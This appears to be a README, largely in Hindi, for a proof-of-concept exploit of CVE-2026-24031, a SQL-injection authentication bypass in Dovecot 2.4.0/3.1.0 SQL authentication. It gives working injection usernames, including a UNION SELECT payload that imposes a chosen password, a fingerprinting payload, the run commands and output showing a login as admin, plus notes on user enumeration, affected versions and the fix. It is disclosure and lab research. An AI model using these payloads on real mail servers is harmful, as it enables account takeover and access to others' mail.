
Self-contained Python PoC for Dovecot SQL authentication bypass: logs in as any user without the real password and enumerates usernames on vulnerable 2.4.0/3.1.0 IMAP/POP3 servers. Dovecot SQL प्रमाणीकरण बाईपास के लिए स्व-निहित Python PoC: वास्तविक पासवर्ड के बिना किसी भी उपयोगकर्ता के रूप में लॉग इन करता है और कमजोर 2.4.0/3.1.0 IMAP/POP3 सर्वरों पर उपयोगकर्ता नामों की गणना करता है।
इस रिपॉजिटरी में CVE-2026-24031 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट प्रमाणीकरण-बाईपास एक्सप्लॉइट है, जो Dovecot के SQL-आधारित प्रमाणीकरण में एक SQL इंजेक्शन है, जिसे Dovecot 2.4.0 / 3.1.0 में एक प्रतिगमन (regression) के रूप में पेश किया गया था। परीक्षण किए गए Docker लैब (Dovecot 2.4.0 + PostgreSQL) में, PoC उनके वास्तविक पासवर्ड को जाने बिना किसी भी उपयोगकर्ता के रूप में लॉगिन करता है, और उपयोगकर्ताओं को एन्यूमरेट भी कर सकता है।
चेतावनी
यह PoC एक मेल सर्वर के विरुद्ध बिना क्रेडेंशियल के प्रमाणीकरण बाईपास करता है। इसका उपयोग केवल अपनी खुद की लैब या उन लक्ष्यों पर करें जिनका परीक्षण करने के लिए आप स्पष्ट रूप से अधिकृत हैं। यह सर्वर की स्थिति को संशोधित नहीं करता है, लेकिन यह प्रमाणीकरण प्रक्रिया को चलाएगा और लॉग में असफल-लॉगिन प्रविष्टियाँ छोड़ सकता है।
Dovecot का SQL-आधारित प्रमाणीकरण तब संवेदनशील होता है जब व्यवस्थापक auth_username_chars कॉन्फ़िगरेशन निर्देश को साफ़ कर देता है (उसे खाली मान पर सेट कर देता है)। auth_username_chars सामान्य रूप से एक इनपुट फ़िल्टर के रूप में कार्य करता है जो उपयोगकर्ता नाम को SQL passdb क्वेरी में इंटरपोलेट करने से पहले यह प्रतिबंधित करता है कि उपयोगकर्ता नाम में कौन से वर्णों की अनुमति है।
auth_username_chars = खाली होने पर, मान को sql_escape_string() के बिना क्वेरी में पास कर दिया जाता है। इसलिए SQL मेटाकैरेक्टर वाला एक विशेष रूप से तैयार किया गया उपयोगकर्ता नाम क्वेरी का हिस्सा बन जाता है:
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE
निम्नलिखित पेलोड क्वेरी को VICTIM के लिए एक पंक्ति लौटाने पर मजबूर करता है जिसमें हमलावर द्वारा चुना गया पासवर्ड होता है:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
{PLAIN} को Dovecot द्वारा पार्स किया जाता है (डेटाबेस द्वारा नहीं), इसलिए पासवर्ड योजना को मूल रूप से संभाला जाता है और यह ट्रिक pgsql, mysql, mariadb और sqlite पर काम करती है। फिर पासवर्ड के रूप में 12345 भेजने पर मिलान होता है, जिससे वास्तविक पासवर्ड जाने बिना VICTIM के रूप में LOGIN OK प्राप्त होता है।
परिणामी क्वेरी है:
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE
यह Dovecot 2.4.0 में पेश किया गया एक प्रतिगमन है और 3.1.0 में भी मौजूद है। पुराने 2.2.x / 2.3.x रिलीज़ उपयोगकर्ता नाम को एस्केप करते हैं और संवेदनशील नहीं हैं। यह दोष 2.4.3 और 3.1.4 में फिक्स किया गया है (OXDC-ADV-2026-0001, DOV-8781)।
भेद्यता केवल तब लागू होती है जब ये सभी शर्तें पूरी हों:
pgsql, mysql, mariadb या sqlite का उपयोग करने वाला एक SQL passdb (driver = sql);auth_username_chars = (खाली) — व्यवस्थापक द्वारा सेट की गई ट्रिगर शर्त;PoC को Dovecot 2.4.0 (आधिकारिक रिलीज़ टैग, daeb6bc5) + PostgreSQL के विरुद्ध मान्य किया गया था।
उपयोगकर्ता नाम ' OR '1'='1' -- और एक मनमाना पासवर्ड के साथ प्रमाणित करें। संवेदनशील सर्वर पर क्वेरी बदल दी जाती है, इसलिए Dovecot सामान्य AUTHENTICATIONFAILED के बजाय a1 NO [UNAVAILABLE] Temporary authentication failure. लौटाता है। यह फिंगरप्रिंट है कि उपयोगकर्ता नाम बिना एस्केप किए SQL क्वेरी तक पहुंच गया।
उपयोगकर्ता नाम के साथ प्रमाणित करें:
' UNION SELECT 'VICTIM','{PLAIN}12345' --
और पासवर्ड 12345। UNION पंक्ति VICTIM के लिए password कॉलम को ओवरराइड करती है, और {PLAIN} को Dovecot द्वारा पार्स किया जाता है, इसलिए पासवर्ड जांच सफल होती है।
क्योंकि क्वेरी परिणाम का आकार "उपयोगकर्ता मौजूद है" और "उपयोगकर्ता मौजूद नहीं है" के बीच भिन्न होता है (पंक्ति गिनती और प्रतिक्रिया स्थिति), सर्वर लीक करता है कि कोई उपयोगकर्ता नाम मौजूद है या नहीं। यह हर प्रभावित बैकएंड पर काम करता है।
यह PoC एक स्व-निहित Python 3 स्क्रिप्ट है (केवल मानक लाइब्रेरी)। संवेदनशील लैब शुरू करें और एक्सप्लॉइट चलाएं:
./run.sh
run.sh Docker लैब (lab/docker-compose.yml) का निर्माण और शुरुआत करता है, 127.0.0.1:14193 पर IMAPS की प्रतीक्षा करता है, फिर PoC चलाता है। लैब आधिकारिक रिलीज़ टारबॉल से Dovecot 2.4.0 का निर्माण करती है, जिसमें जानबूझकर संवेदनशील कॉन्फ़िगरेशन और एक PostgreSQL डेटाबेस होता है।
समतुल्य मैन्युअल चरण:
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
PoC विकल्प:
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]
HOST IP or hostname (required)
PORT 993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
DELAY seconds between attempts (default 0.5)
PROTO imap (default) | pop3
Optional environment variables:
CVE24031_USER username to impersonate (default: admin)
CVE24031_PASS password chosen for the UNION row (default: 12345)
लैब डेटाबेस इन उपयोगकर्ताओं को सीड करता है: admin/admin123, alice/alicepass, bob/bobpass, postmaster/postpass, और victim/supersecret। PoC उसका पासवर्ड जाने बिना admin की पहचान धारण करता है।
PoC को Docker लैब में एंड-टू-एंड मान्य किया गया था। admin उपयोगकर्ता का वास्तविक पासवर्ड admin123 है; PoC 12345 का उपयोग करके admin के रूप में लॉगिन करता है।
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target : 127.0.0.1:14193 (imap, plain)
[*] Victim : admin imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY
=== PHASE 1: UNION SELECT (login as victim without real password) ===
[UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- " pwd='12345' -> OK
============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!] Logged in as 'admin' without knowing the real password.
[!] CVE-2026-24031 exploited.
पूर्ण सैनिटाइज़ किया गया ट्रांसक्रिप्ट, जिसमें वैध-नियंत्रण और नो-एस्केप-डिटेक्शन चरण शामिल हैं, docs/example-output.txt में है।
इस README के शीर्ष पर मौजूद एनिमेटेड डेमो (assets/CVE-2026-24031.gif) चल रही लैब के विरुद्ध एक वास्तविक सत्र से रिकॉर्ड किया गया था। इसे फिर से बनाने के लिए:
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
--cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif
demo.sh लाइव प्रदर्शन चलाता है; demo.cast वह कच्ची asciinema रिकॉर्डिंग है जिसका उपयोग GIF रेंडर करने के लिए किया गया था।
एडवाइज़री (OXDC-ADV-2026-0001, DOV-8781) पहले ही अपस्ट्रीम रिलीज़ हो चुकी है; Dovecot 2.4.3 / 3.1.4 उपयोगकर्ता नाम को SQL क्वेरी में इंटरपोलेट करने से पहले एस्केप करते हैं। इसलिए फिक्स इस रिपॉजिटरी में दोहराया नहीं गया है। अनुशंसित हार्डनिंग यह है कि auth_username_chars को कभी साफ़ न करें, या एक फिक्स किए गए रिलीज़ में अपग्रेड करें।
भेद्यता खोज: whisperer@yeswehack.
अनुसंधान और एक्सप्लॉइट कार्यान्वयन: A. Ramos <[email protected]>
(Twitter: @aramosf).
CVE-2026-24031 Dovecot SQL प्रमाणीकरण बाईपास (प्रमाणीकरण बाईपास + उपयोगकर्ता एन्यूमरेशन) PoC
| लाइन | स्थिति |
|---|
| Dovecot 2.2.x | प्रभावित नहीं (उपयोगकर्ता नाम एस्केप होता है) |
| Dovecot 2.3.x | प्रभावित नहीं (उपयोगकर्ता नाम एस्केप होता है) |
| Dovecot 2.4.0 | संवेदनशील (प्रतिगमन: उपयोगकर्ता नाम एस्केप नहीं होता) |
| Dovecot 2.4.3+ | फिक्स किया गया (उपयोगकर्ता नाम एस्केप होता है) |
| Dovecot 3.1.0 | संवेदनशील (वही प्रतिगमन) |
| Dovecot 3.1.4+ | फिक्स किया गया (उपयोगकर्ता नाम एस्केप होता है) |